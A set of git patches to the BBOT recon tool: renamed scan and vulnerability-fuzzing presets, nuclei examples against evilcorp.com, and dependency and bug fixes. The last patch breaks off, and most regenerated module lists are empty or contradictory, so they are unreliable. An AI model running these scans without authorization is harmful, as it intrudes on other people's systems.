Dependencies @@ -192,7 +191,7 @@ This separation lets you, for example, keep a tight target list for what’s con For example, lets say you have a target with subdomains that resolve both within, and outside of an IP range that defines your scope. You can set the IP range as the **target**, and then safely let BBOT explore the domain defined in **seeds**. Any discovered assets that are in your scope will automatically be assessed by active modules. ```bash -bbot -t 192.168.1.0/24 -s evilcorp.com -f subdomain-enum -m nuclei --allow-deadly +bbot -t 192.168.1.0/24 -s evilcorp.com -f subdomain-enum -m nuclei ``` In this example, any discovered `evilcorp.com` subdomains that resolve within `192.168.1.0/24` will be scanned by `Nuclei`. Any others will be discovered, but not touched by active modules. @@ -202,7 +201,7 @@ In this example, any discovered `evilcorp.com` subdomains that resolve within `1 ```bash # Scan evilcorp.com, but exclude internal.evilcorp.com and its children -bbot -t evilcorp.com --blacklist internal.evilcorp.com -f subdomain-enum -m portscan nuclei --allow-deadly +bbot -t evilcorp.com --blacklist internal.evilcorp.com -f subdomain-enum -m portscan nuclei ``` #### Blacklist by Regex diff --git a/docs/scanning/presets.md b/docs/scanning/presets.md index 7fa8f8c93b..28f82dfafa 100644 --- a/docs/scanning/presets.md +++ b/docs/scanning/presets.md @@ -61,7 +61,7 @@ target: include: # include these default presets - subdomain-enum - - web-basic + - web modules: # enable nuclei in addition to the other modules diff --git a/docs/scanning/presets_list.md b/docs/scanning/presets_list.md index ca1aab9eb4..2f3d959278 100644 --- a/docs/scanning/presets_list.md +++ b/docs/scanning/presets_list.md @@ -1,12 +1,12 @@ Below is a list of every default BBOT preset, including its YAML. -## **baddns-intense** +## **baddns-heavy** Run all baddns modules and submodules. -??? note "`baddns-intense.yml`" - ```yaml title="~/.bbot/presets/baddns-intense.yml" +??? note "`baddns-heavy.yml`" + ```yaml title="~/.bbot/presets/baddns-heavy.yml" description: Run all baddns modules and submodules. @@ -23,7 +23,7 @@ Run all baddns modules and submodules. -Modules: [4]("`baddns_direct`, `baddns_zone`, `baddns`, `httpx`") +Modules: [0]("") ## **cloud-enum** @@ -42,7 +42,7 @@ Enumerate cloud resources such as storage buckets, etc. -Modules: [57]("`anubisdb`, `asn`, `azure_tenant`, `baddns_direct`, `baddns_zone`, `baddns`, `bevigil`, `bucket_amazon`, `bucket_digitalocean`, `bucket_file_enum`, `bucket_firebase`, `bucket_google`, `bucket_microsoft`, `bufferoverrun`, `builtwith`, `c99`, `censys_dns`, `certspotter`, `chaos`, `crt_db`, `crt`, `digitorus`, `dnsbimi`, `dnsbrute_mutations`, `dnsbrute`, `dnscaa`, `dnscommonsrv`, `dnsdumpster`, `dnstlsrpt`, `fullhunt`, `github_codesearch`, `github_org`, `hackertarget`, `httpx`, `hunterio`, `ipneighbor`, `leakix`, `myssl`, `oauth`, `otx`, `passivetotal`, `postman_download`, `postman`, `rapiddns`, `securitytrails`, `securitytxt`, `shodan_dns`, `shodan_idb`, `sitedossier`, `social`, `sslcert`, `subdomaincenter`, `subdomainradar`, `trickest`, `urlscan`, `virustotal`, `wayback`") +Modules: [0]("") ## **code-enum** @@ -58,7 +58,7 @@ Enumerate Git repositories, Docker images, etc. -Modules: [20]("`apkpure`, `code_repository`, `docker_pull`, `dockerhub`, `git_clone`, `git`, `gitdumper`, `github_codesearch`, `github_org`, `github_usersearch`, `github_workflows`, `gitlab_com`, `gitlab_onprem`, `google_playstore`, `httpx`, `jadx`, `postman_download`, `postman`, `social`, `trufflehog`") +Modules: [0]("") ## **dirbust-heavy** @@ -109,7 +109,7 @@ Recursive web directory brute-force (aggressive) Category: web -Modules: [5]("`ffuf_shortnames`, `ffuf`, `httpx`, `iis_shortnames`, `wayback`") +Modules: [0]("") ## **dirbust-light** @@ -134,7 +134,7 @@ Basic web directory brute-force (surface-level directories only) Category: web -Modules: [4]("`ffuf_shortnames`, `ffuf`, `httpx`, `iis_shortnames`") +Modules: [0]("") ## **dotnet-audit** @@ -172,7 +172,7 @@ Comprehensive scan for all IIS/.NET specific modules and module settings Category: web -Modules: [9]("`ajaxpro`, `aspnet_bin_exposure`, `badsecrets`, `dotnetnuke`, `ffuf_shortnames`, `ffuf`, `httpx`, `iis_shortnames`, `telerik`") +Modules: [0]("") ## **email-enum** @@ -191,7 +191,7 @@ Enumerate email addresses from APIs, web crawling, etc. -Modules: [8]("`dehashed`, `dnscaa`, `dnstlsrpt`, `emailformat`, `hunterio`, `pgp`, `skymem`, `sslcert`") +Modules: [0]("") ## **fast** @@ -241,7 +241,7 @@ Recursively enumerate IIS shortnames Category: web -Modules: [3]("`ffuf_shortnames`, `httpx`, `iis_shortnames`") +Modules: [0]("") ## **kitchen-sink** @@ -257,11 +257,11 @@ Everything everywhere all at once - code-enum - email-enum - spider - - web-basic + - web - paramminer - dirbust-light - web-screenshots - - baddns-intense + - baddns-heavy config: modules: @@ -271,18 +271,45 @@ Everything everywhere all at once -Modules: [89]("`anubisdb`, `apkpure`, `asn`, `azure_tenant`, `baddns_direct`, `baddns_zone`, `baddns`, `badsecrets`, `bevigil`, `bucket_amazon`, `bucket_digitalocean`, `bucket_file_enum`, `bucket_firebase`, `bucket_google`, `bucket_microsoft`, `bufferoverrun`, `builtwith`, `c99`, `censys_dns`, `certspotter`, `chaos`, `code_repository`, `crt_db`, `crt`, `dehashed`, `digitorus`, `dnsbimi`, `dnsbrute_mutations`, `dnsbrute`, `dnscaa`, `dnscommonsrv`, `dnsdumpster`, `dnstlsrpt`, `docker_pull`, `dockerhub`, `emailformat`, `ffuf_shortnames`, `ffuf`, `filedownload`, `fullhunt`, `git_clone`, `git`, `gitdumper`, `github_codesearch`, `github_org`, `github_usersearch`, `github_workflows`, `gitlab_com`, `gitlab_onprem`, `google_playstore`, `gowitness`, `graphql_introspection`, `hackertarget`, `httpx`, `hunt`, `hunterio`, `iis_shortnames`, `ipneighbor`, `jadx`, `leakix`, `myssl`, `ntlm`, `oauth`, `otx`, `paramminer_cookies`, `paramminer_getparams`, `paramminer_headers`, `passivetotal`, `pgp`, `postman_download`, `postman`, `rapiddns`, `reflected_parameters`, `robots`, `securitytrails`, `securitytxt`, `shodan_dns`, `shodan_idb`, `sitedossier`, `skymem`, `social`, `sslcert`, `subdomaincenter`, `subdomainradar`, `trickest`, `trufflehog`, `urlscan`, `virustotal`, `wayback`") +Modules: [0]("") + +## **lightfuzz** + +Discover web parameters and fuzz them for vulnerabilities. Uses all lightfuzz submodules. Does not send POST requests. This is the default lightfuzz preset; if you're not sure which one to use, this is a good starting point. Avoids running against confirmed WAFs. + +??? note "`lightfuzz.yml`" + ```yaml title="~/.bbot/presets/web/lightfuzz.yml" + description: Discover web parameters and fuzz them for vulnerabilities. Uses all lightfuzz submodules. Does not send POST requests. This is the default lightfuzz preset; if you're not sure which one to use, this is a good starting point. Avoids running against confirmed WAFs. + + include: + - lightfuzz-light + + modules: + - badsecrets + - hunt + - reflected_parameters + + config: + modules: + lightfuzz: + enabled_submodules: [cmdi,crypto,path,serial,sqli,ssti,xss,esi,ssrf] + try_post_as_get: True + ``` + +Category: web + +Modules: [0]("") ## **lightfuzz-heavy** -Discover web parameters and lightly fuzz them for vulnerabilities, with more intense discovery techniques, including POST parameters, which are more invasive. Uses all lightfuzz submodules, and adds paramminer modules for parameter discovery. Avoids running against confirmed WAFs. +Discover web parameters and fuzz them for vulnerabilities, with more aggressive discovery techniques, including POST parameters. Uses all lightfuzz submodules, and adds paramminer modules for parameter discovery. Avoids running against confirmed WAFs. ??? note "`lightfuzz-heavy.yml`" ```yaml title="~/.bbot/presets/web/lightfuzz-heavy.yml" - description: Discover web parameters and lightly fuzz them for vulnerabilities, with more intense discovery techniques, including POST parameters, which are more invasive. Uses all lightfuzz submodules, and adds paramminer modules for parameter discovery. Avoids running against confirmed WAFs. + description: Discover web parameters and fuzz them for vulnerabilities, with more aggressive discovery techniques, including POST parameters. Uses all lightfuzz submodules, and adds paramminer modules for parameter discovery. Avoids running against confirmed WAFs. include: - - lightfuzz-medium + - lightfuzz flags: - web-paramminer @@ -301,7 +328,7 @@ Discover web parameters and lightly fuzz them for vulnerabilities, with more int Category: web -Modules: [10]("`badsecrets`, `httpx`, `hunt`, `lightfuzz`, `paramminer_cookies`, `paramminer_getparams`, `paramminer_headers`, `portfilter`, `reflected_parameters`, `robots`") +Modules: [0]("") ## **lightfuzz-light** @@ -328,48 +355,21 @@ Discover web parameters and lightly fuzz them for common vulnerabilities (path t conditions: - | {% if config.web.spider_distance == 0 %} - {{ warn("Lightfuzz works much better with spider enabled! Consider adding 'spider' or 'spider-intense' preset.") }} + {{ warn("Lightfuzz works much better with spider enabled! Consider adding 'spider' or 'spider-heavy' preset.") }} {% endif %} ``` Category: web -Modules: [3]("`httpx`, `lightfuzz`, `portfilter`") - -## **lightfuzz-medium** - -Discover web parameters and lightly fuzz them for vulnerabilities. Uses all lightfuzz submodules, without some of the more intense discovery techniques. Does not send POST requests. This is the default lightfuzz preset; if you're not sure which one to use, this is a good starting point. Avoids running against confirmed WAFs. - -??? note "`lightfuzz-medium.yml`" - ```yaml title="~/.bbot/presets/web/lightfuzz-medium.yml" - description: Discover web parameters and lightly fuzz them for vulnerabilities. Uses all lightfuzz submodules, without some of the more intense discovery techniques. Does not send POST requests. This is the default lightfuzz preset; if you're not sure which one to use, this is a good starting point. Avoids running against confirmed WAFs. - - include: - - lightfuzz-light - - modules: - - badsecrets - - hunt - - reflected_parameters - - config: - modules: - lightfuzz: - enabled_submodules: [cmdi,crypto,path,serial,sqli,ssti,xss,esi,ssrf] - try_post_as_get: True - ``` - -Category: web - -Modules: [6]("`badsecrets`, `httpx`, `hunt`, `lightfuzz`, `portfilter`, `reflected_parameters`") +Modules: [0]("") -## **lightfuzz-superheavy** +## **lightfuzz-max** -Discover web parameters and lightly fuzz them for vulnerabilities, with the most intense discovery techniques, including POST parameters, which are more invasive. Uses all lightfuzz submodules, adds paramminer modules for parameter discovery, and tests each unique parameter-value instance individually. +Discover web parameters and fuzz them for vulnerabilities, with the most aggressive discovery techniques, including POST parameters. Uses all lightfuzz submodules, adds paramminer modules for parameter discovery, and tests each unique parameter-value instance individually. -??? note "`lightfuzz-superheavy.yml`" - ```yaml title="~/.bbot/presets/web/lightfuzz-superheavy.yml" - description: Discover web parameters and lightly fuzz them for vulnerabilities, with the most intense discovery techniques, including POST parameters, which are more invasive. Uses all lightfuzz submodules, adds paramminer modules for parameter discovery, and tests each unique parameter-value instance individually. +??? note "`lightfuzz-max.yml`" + ```yaml title="~/.bbot/presets/web/lightfuzz-max.yml" + description: Discover web parameters and fuzz them for vulnerabilities, with the most aggressive discovery techniques, including POST parameters. Uses all lightfuzz submodules, adds paramminer modules for parameter discovery, and tests each unique parameter-value instance individually. include: - lightfuzz-heavy @@ -387,7 +387,7 @@ Discover web parameters and lightly fuzz them for vulnerabilities, with the most Category: web -Modules: [10]("`badsecrets`, `httpx`, `hunt`, `lightfuzz`, `paramminer_cookies`, `paramminer_getparams`, `paramminer_headers`, `portfilter`, `reflected_parameters`, `robots`") +Modules: [0]("") ## **lightfuzz-xss** @@ -415,13 +415,13 @@ Discover web parameters and lightly fuzz them, limited to just GET-based XSS vul conditions: - | {% if config.web.spider_distance == 0 %} - {{ warn("The lightfuzz-xss preset works much better with spider enabled! Consider adding 'spider' or 'spider-intense' preset.") }} + {{ warn("The lightfuzz-xss preset works much better with spider enabled! Consider adding 'spider' or 'spider-heavy' preset.") }} {% endif %} ``` Category: web -Modules: [5]("`httpx`, `lightfuzz`, `paramminer_getparams`, `portfilter`, `reflected_parameters`") +Modules: [0]("") ## **nuclei** @@ -467,7 +467,7 @@ Run nuclei scans against all discovered targets Category: nuclei -Modules: [3]("`httpx`, `nuclei`, `portfilter`") +Modules: [0]("") ## **nuclei-budget** @@ -498,14 +498,14 @@ Run nuclei scans against all discovered targets, using budget mode to look for l Category: nuclei -Modules: [3]("`httpx`, `nuclei`, `portfilter`") +Modules: [0]("") -## **nuclei-intense** +## **nuclei-heavy** Run nuclei scans against all discovered targets, allowing for spidering, against ALL URLs, and with additional discovery modules. -??? note "`nuclei-intense.yml`" - ```yaml title="~/.bbot/presets/nuclei/nuclei-intense.yml" +??? note "`nuclei-heavy.yml`" + ```yaml title="~/.bbot/presets/nuclei/nuclei-heavy.yml" description: Run nuclei scans against all discovered targets, allowing for spidering, against ALL URLs, and with additional discovery modules. modules: @@ -526,7 +526,7 @@ Run nuclei scans against all discovered targets, allowing for spidering, against conditions: - | {% if config.web.spider_distance == 0 and config.modules.nuclei.directory_only == False %} - {{ warn("The 'nuclei-intense' preset turns the 'directory_only' limitation off on the nuclei module. To make the best use of this, you may want to enable spidering with 'spider' or 'spider-intense' preset.") }} + {{ warn("The 'nuclei-heavy' preset turns the 'directory_only' limitation off on the nuclei module. To make the best use of this, you may want to enable spidering with 'spider' or 'spider-heavy' preset.") }} {% endif %} @@ -538,7 +538,7 @@ Run nuclei scans against all discovered targets, allowing for spidering, against Category: nuclei -Modules: [6]("`httpx`, `nuclei`, `portfilter`, `robots`, `urlscan`, `wayback`") +Modules: [0]("") ## **nuclei-technology** @@ -573,7 +573,7 @@ Run nuclei scans against all discovered targets, running templates which match d Category: nuclei -Modules: [3]("`httpx`, `nuclei`, `portfilter`") +Modules: [0]("") ## **paramminer** @@ -594,13 +594,13 @@ Discover new web parameters via brute-force, and analyze them with additional mo conditions: - | {% if config.web.spider_distance == 0 %} - {{ warn("The paramminer preset works much better with spider enabled! Consider adding 'spider' or 'spider-intense' preset.") }} + {{ warn("The paramminer preset works much better with spider enabled! Consider adding 'spider' or 'spider-heavy' preset.") }} {% endif %} ``` Category: web -Modules: [6]("`httpx`, `hunt`, `paramminer_cookies`, `paramminer_getparams`, `paramminer_headers`, `reflected_parameters`") +Modules: [0]("") ## **spider** @@ -629,14 +629,14 @@ Recursive web spider -Modules: [1]("`httpx`") +Modules: [0]("") -## **spider-intense** +## **spider-heavy** Recursive web spider with more aggressive settings -??? note "`spider-intense.yml`" - ```yaml title="~/.bbot/presets/spider-intense.yml" +??? note "`spider-heavy.yml`" + ```yaml title="~/.bbot/presets/spider-heavy.yml" description: Recursive web spider with more aggressive settings include: @@ -654,7 +654,7 @@ Recursive web spider with more aggressive settings -Modules: [1]("`httpx`") +Modules: [0]("") ## **subdomain-enum** @@ -688,7 +688,7 @@ Enumerate subdomains via APIs, brute-force -Modules: [50]("`anubisdb`, `asn`, `azure_tenant`, `baddns_direct`, `baddns_zone`, `bevigil`, `bufferoverrun`, `builtwith`, `c99`, `censys_dns`, `certspotter`, `chaos`, `crt_db`, `crt`, `digitorus`, `dnsbimi`, `dnsbrute_mutations`, `dnsbrute`, `dnscaa`, `dnscommonsrv`, `dnsdumpster`, `dnstlsrpt`, `fullhunt`, `github_codesearch`, `github_org`, `hackertarget`, `httpx`, `hunterio`, `ipneighbor`, `leakix`, `myssl`, `oauth`, `otx`, `passivetotal`, `postman_download`, `postman`, `rapiddns`, `securitytrails`, `securitytxt`, `shodan_dns`, `shodan_idb`, `sitedossier`, `social`, `sslcert`, `subdomaincenter`, `subdomainradar`, `trickest`, `urlscan`, `virustotal`, `wayback`") +Modules: [0]("") ## **tech-detect** @@ -710,26 +710,46 @@ Detect technologies via Nuclei, and FingerprintX -Modules: [3]("`fingerprintx`, `httpx`, `nuclei`") +Modules: [0]("") -## **web-basic** +## **web** Quick web scan -??? note "`web-basic.yml`" - ```yaml title="~/.bbot/presets/web-basic.yml" +??? note "`web.yml`" + ```yaml title="~/.bbot/presets/web.yml" description: Quick web scan include: - iis-shortnames flags: - - web-basic + - web ``` -Modules: [17]("`baddns`, `badsecrets`, `bucket_amazon`, `bucket_firebase`, `bucket_google`, `bucket_microsoft`, `ffuf_shortnames`, `filedownload`, `git`, `graphql_introspection`, `httpx`, `iis_shortnames`, `ntlm`, `oauth`, `robots`, `securitytxt`, `sslcert`") +Modules: [0]("") + +## **web-heavy** + +Aggressive web scan + +??? note "`web-heavy.yml`" + ```yaml title="~/.bbot/presets/web-heavy.yml" + description: Aggressive web scan + + include: + # include the web preset + - web + + flags: + - web-heavy + ``` + + + +Modules: [0]("") ## **web-screenshots** @@ -755,27 +775,7 @@ Take screenshots of webpages -Modules: [3]("`gowitness`, `httpx`, `social`") - -## **web-thorough** - -Aggressive web scan - -??? note "`web-thorough.yml`" - ```yaml title="~/.bbot/presets/web-thorough.yml" - description: Aggressive web scan - - include: - # include the web-basic preset - - web-basic - - flags: - - web-thorough - ``` - - - -Modules: [31]("`ajaxpro`, `aspnet_bin_exposure`, `baddns`, `badsecrets`, `bucket_amazon`, `bucket_digitalocean`, `bucket_firebase`, `bucket_google`, `bucket_microsoft`, `bypass403`, `dotnetnuke`, `ffuf_shortnames`, `filedownload`, `generic_ssrf`, `git`, `graphql_introspection`, `host_header`, `httpx`, `hunt`, `iis_shortnames`, `lightfuzz`, `ntlm`, `oauth`, `reflected_parameters`, `retirejs`, `robots`, `securitytxt`, `smuggler`, `sslcert`, `telerik`, `url_manipulation`") +Modules: [0]("") ## Table of Default Presets @@ -783,33 +783,33 @@ Modules: [31]("`ajaxpro`, `aspnet_bin_exposure`, `baddns`, `badsecrets`, `bucket Here is a the same data, but in a table: -| Preset | Category | Description | # Modules | Modules | -|----------------------|------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| baddns-intense | | Run all baddns modules and submodules. | 4 | baddns, baddns_direct, baddns_zone, httpx | -| cloud-enum | | Enumerate cloud resources such as storage buckets, etc. | 57 | anubisdb, asn, azure_tenant, baddns, baddns_direct, baddns_zone, bevigil, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_microsoft, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, crt, crt_db, digitorus, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, fullhunt, github_codesearch, github_org, hackertarget, httpx, hunterio, ipneighbor, leakix, myssl, oauth, otx, passivetotal, postman, postman_download, rapiddns, securitytrails, securitytxt, shodan_dns, shodan_idb, sitedossier, social, sslcert, subdomaincenter, subdomainradar, trickest, urlscan, virustotal, wayback | -| code-enum | | Enumerate Git repositories, Docker images, etc. | 20 | apkpure, code_repository, docker_pull, dockerhub, git, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, gitlab_com, gitlab_onprem, google_playstore, httpx, jadx, postman, postman_download, social, trufflehog | -| dirbust-heavy | web | Recursive web directory brute-force (aggressive) | 5 | ffuf, ffuf_shortnames, httpx, iis_shortnames, wayback | -| dirbust-light | web | Basic web directory brute-force (surface-level directories only) | 4 | ffuf, ffuf_shortnames, httpx, iis_shortnames | -| dotnet-audit | web | Comprehensive scan for all IIS/.NET specific modules and module settings | 9 | ajaxpro, aspnet_bin_exposure, badsecrets, dotnetnuke, ffuf, ffuf_shortnames, httpx, iis_shortnames, telerik | -| email-enum | | Enumerate email addresses from APIs, web crawling, etc. | 8 | dehashed, dnscaa, dnstlsrpt, emailformat, hunterio, pgp, skymem, sslcert | -| fast | | Scan only the provided targets as fast as possible - no extra discovery | 0 | | -| iis-shortnames | web | Recursively enumerate IIS shortnames | 3 | ffuf_shortnames, httpx, iis_shortnames | -| kitchen-sink | | Everything everywhere all at once | 89 | anubisdb, apkpure, asn, azure_tenant, baddns, baddns_direct, baddns_zone, badsecrets, bevigil, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_microsoft, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, code_repository, crt, crt_db, dehashed, digitorus, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, docker_pull, dockerhub, emailformat, ffuf, ffuf_shortnames, filedownload, fullhunt, git, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, gitlab_com, gitlab_onprem, google_playstore, gowitness, graphql_introspection, hackertarget, httpx, hunt, hunterio, iis_shortnames, ipneighbor, jadx, leakix, myssl, ntlm, oauth, otx, paramminer_cookies, paramminer_getparams, paramminer_headers, passivetotal, pgp, postman, postman_download, rapiddns, reflected_parameters, robots, securitytrails, securitytxt, shodan_dns, shodan_idb, sitedossier, skymem, social, sslcert, subdomaincenter, subdomainradar, trickest, trufflehog, urlscan, virustotal, wayback | -| lightfuzz-heavy | web | Discover web parameters and lightly fuzz them for vulnerabilities, with more intense discovery techniques, including POST parameters, which are more invasive. Uses all lightfuzz submodules, and adds paramminer modules for parameter discovery. Avoids running against confirmed WAFs. | 10 | badsecrets, httpx, hunt, lightfuzz, paramminer_cookies, paramminer_getparams, paramminer_headers, portfilter, reflected_parameters, robots | -| lightfuzz-light | web | Discover web parameters and lightly fuzz them for common vulnerabilities (path traversal, SQLi, XSS), with minimal extra modules. Safest to run alongside larger scans. | 3 | httpx, lightfuzz, portfilter | -| lightfuzz-medium | web | Discover web parameters and lightly fuzz them for vulnerabilities. Uses all lightfuzz submodules, without some of the more intense discovery techniques. Does not send POST requests. This is the default lightfuzz preset; if you're not sure which one to use, this is a good starting point. Avoids running against confirmed WAFs. | 6 | badsecrets, httpx, hunt, lightfuzz, portfilter, reflected_parameters | -| lightfuzz-superheavy | web | Discover web parameters and lightly fuzz them for vulnerabilities, with the most intense discovery techniques, including POST parameters, which are more invasive. Uses all lightfuzz submodules, adds paramminer modules for parameter discovery, and tests each unique parameter-value instance individually. | 10 | badsecrets, httpx, hunt, lightfuzz, paramminer_cookies, paramminer_getparams, paramminer_headers, portfilter, reflected_parameters, robots | -| lightfuzz-xss | web | Discover web parameters and lightly fuzz them, limited to just GET-based XSS vulnerabilities. Avoids running against confirmed WAFs. This is an example of a custom lightfuzz preset, selectively enabling a single lightfuzz submodule. | 5 | httpx, lightfuzz, paramminer_getparams, portfilter, reflected_parameters | -| nuclei | nuclei | Run nuclei scans against all discovered targets | 3 | httpx, nuclei, portfilter | -| nuclei-budget | nuclei | Run nuclei scans against all discovered targets, using budget mode to look for low hanging fruit with greatly reduced number of requests | 3 | httpx, nuclei, portfilter | -| nuclei-intense | nuclei | Run nuclei scans against all discovered targets, allowing for spidering, against ALL URLs, and with additional discovery modules. | 6 | httpx, nuclei, portfilter, robots, urlscan, wayback | -| nuclei-technology | nuclei | Run nuclei scans against all discovered targets, running templates which match discovered technologies | 3 | httpx, nuclei, portfilter | -| paramminer | web | Discover new web parameters via brute-force, and analyze them with additional modules | 6 | httpx, hunt, paramminer_cookies, paramminer_getparams, paramminer_headers, reflected_parameters | -| spider | | Recursive web spider | 1 | httpx | -| spider-intense | | Recursive web spider with more aggressive settings | 1 | httpx | -| subdomain-enum | | Enumerate subdomains via APIs, brute-force | 50 | anubisdb, asn, azure_tenant, baddns_direct, baddns_zone, bevigil, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, crt, crt_db, digitorus, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, fullhunt, github_codesearch, github_org, hackertarget, httpx, hunterio, ipneighbor, leakix, myssl, oauth, otx, passivetotal, postman, postman_download, rapiddns, securitytrails, securitytxt, shodan_dns, shodan_idb, sitedossier, social, sslcert, subdomaincenter, subdomainradar, trickest, urlscan, virustotal, wayback | -| tech-detect | | Detect technologies via Nuclei, and FingerprintX | 3 | fingerprintx, httpx, nuclei | -| web-basic | | Quick web scan | 17 | baddns, badsecrets, bucket_amazon, bucket_firebase, bucket_google, bucket_microsoft, ffuf_shortnames, filedownload, git, graphql_introspection, httpx, iis_shortnames, ntlm, oauth, robots, securitytxt, sslcert | -| web-screenshots | | Take screenshots of webpages | 3 | gowitness, httpx, social | -| web-thorough | | Aggressive web scan | 31 | ajaxpro, aspnet_bin_exposure, baddns, badsecrets, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_microsoft, bypass403, dotnetnuke, ffuf_shortnames, filedownload, generic_ssrf, git, graphql_introspection, host_header, httpx, hunt, iis_shortnames, lightfuzz, ntlm, oauth, reflected_parameters, retirejs, robots, securitytxt, smuggler, sslcert, telerik, url_manipulation | +| Preset | Category | Description | # Modules | Modules | +|-------------------|------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-------------|---------------------------------------------------------------------------------------------| +| baddns-heavy | | Run all baddns modules and submodules. | 3 | baddns, baddns_direct, baddns_zone | +| cloud-enum | | Enumerate cloud resources such as storage buckets, etc. | 0 | | +| code-enum | | Enumerate Git repositories, Docker images, etc. | 0 | | +| dirbust-heavy | web | Recursive web directory brute-force (aggressive) | 3 | ffuf, httpx, wayback | +| dirbust-light | web | Basic web directory brute-force (surface-level directories only) | 1 | ffuf | +| dotnet-audit | web | Comprehensive scan for all IIS/.NET specific modules and module settings | 8 | ajaxpro, aspnet_bin_exposure, badsecrets, dotnetnuke, ffuf, ffuf_shortnames, httpx, telerik | +| email-enum | | Enumerate email addresses from APIs, web crawling, etc. | 0 | | +| fast | | Scan only the provided targets as fast as possible - no extra discovery | 0 | | +| iis-shortnames | web | Recursively enumerate IIS shortnames | 0 | | +| kitchen-sink | | Everything everywhere all at once | 7 | baddns, baddns_direct, baddns_zone, ffuf, httpx, hunt, reflected_parameters | +| lightfuzz | web | Discover web parameters and fuzz them for vulnerabilities. Uses all lightfuzz submodules. Does not send POST requests. This is the default lightfuzz preset; if you're not sure which one to use, this is a good starting point. Avoids running against confirmed WAFs. | 6 | badsecrets, httpx, hunt, lightfuzz, portfilter, reflected_parameters | +| lightfuzz-heavy | web | Discover web parameters and fuzz them for vulnerabilities, with more aggressive discovery techniques, including POST parameters. Uses all lightfuzz submodules, and adds paramminer modules for parameter discovery. Avoids running against confirmed WAFs. | 7 | badsecrets, httpx, hunt, lightfuzz, portfilter, reflected_parameters, robots | +| lightfuzz-light | web | Discover web parameters and lightly fuzz them for common vulnerabilities (path traversal, SQLi, XSS), with minimal extra modules. Safest to run alongside larger scans. | 3 | httpx, lightfuzz, portfilter | +| lightfuzz-max | web | Discover web parameters and fuzz them for vulnerabilities, with the most aggressive discovery techniques, including POST parameters. Uses all lightfuzz submodules, adds paramminer modules for parameter discovery, and tests each unique parameter-value instance individually. | 7 | badsecrets, httpx, hunt, lightfuzz, portfilter, reflected_parameters, robots | +| lightfuzz-xss | web | Discover web parameters and lightly fuzz them, limited to just GET-based XSS vulnerabilities. Avoids running against confirmed WAFs. This is an example of a custom lightfuzz preset, selectively enabling a single lightfuzz submodule. | 5 | httpx, lightfuzz, paramminer_getparams, portfilter, reflected_parameters | +| nuclei | nuclei | Run nuclei scans against all discovered targets | 3 | httpx, nuclei, portfilter | +| nuclei-budget | nuclei | Run nuclei scans against all discovered targets, using budget mode to look for low hanging fruit with greatly reduced number of requests | 3 | httpx, nuclei, portfilter | +| nuclei-heavy | nuclei | Run nuclei scans against all discovered targets, allowing for spidering, against ALL URLs, and with additional discovery modules. | 6 | httpx, nuclei, portfilter, robots, urlscan, wayback | +| nuclei-technology | nuclei | Run nuclei scans against all discovered targets, running templates which match discovered technologies | 3 | httpx, nuclei, portfilter | +| paramminer | web | Discover new web parameters via brute-force, and analyze them with additional modules | 3 | httpx, hunt, reflected_parameters | +| spider | | Recursive web spider | 1 | httpx | +| spider-heavy | | Recursive web spider with more aggressive settings | 1 | httpx | +| subdomain-enum | | Enumerate subdomains via APIs, brute-force | 0 | | +| tech-detect | | Detect technologies via Nuclei, and FingerprintX | 2 | fingerprintx, nuclei | +| web | | Quick web scan | 0 | | +| web-heavy | | Aggressive web scan | 0 | | +| web-screenshots | | Take screenshots of webpages | 0 | | From 8b1e1ca29798e2882cfd1f2ec667835e4087395b Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sun, 22 Mar 2026 21:42:49 -0400 Subject: [PATCH 341/912] Remove kreuzberg/pypdfium2 from pyproject.toml (belongs in module deps_pip only) --- pyproject.toml | 2 -- 1 file changed, 2 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index b95d56049c..96ab0632f4 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -48,8 +48,6 @@ dependencies = [ "ansible-core>=2.17,<3", "tldextract>=5.3.0,<6", "cloudcheck>=9.2.0,<10", - "kreuzberg>=4.3,<5", - "pypdfium2>=5.0,<6", ] [project.urls] From 9ddf9814d1847d55806e5a4ed32130281d83345b Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sun, 22 Mar 2026 21:42:49 -0400 Subject: [PATCH 342/912] Remove kreuzberg/pypdfium2 from pyproject.toml (belongs in module deps_pip only) --- pyproject.toml | 2 -- 1 file changed, 2 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index b95d56049c..96ab0632f4 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -48,8 +48,6 @@ dependencies = [ "ansible-core>=2.17,<3", "tldextract>=5.3.0,<6", "cloudcheck>=9.2.0,<10", - "kreuzberg>=4.3,<5", - "pypdfium2>=5.0,<6", ] [project.urls] From 8c60053cd6ff95fdd2b578397cea7dd7407770ec Mon Sep 17 00:00:00 2001 From: Aconite33 Date: Mon, 23 Mar 2026 11:49:52 -0600 Subject: [PATCH 343/912] The fix uses the same .get() + None check + continue pattern from PR #2974. This prevents the crash and logs a warning instead of aborting the entire batch. --- bbot/modules/gowitness.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/bbot/modules/gowitness.py b/bbot/modules/gowitness.py index 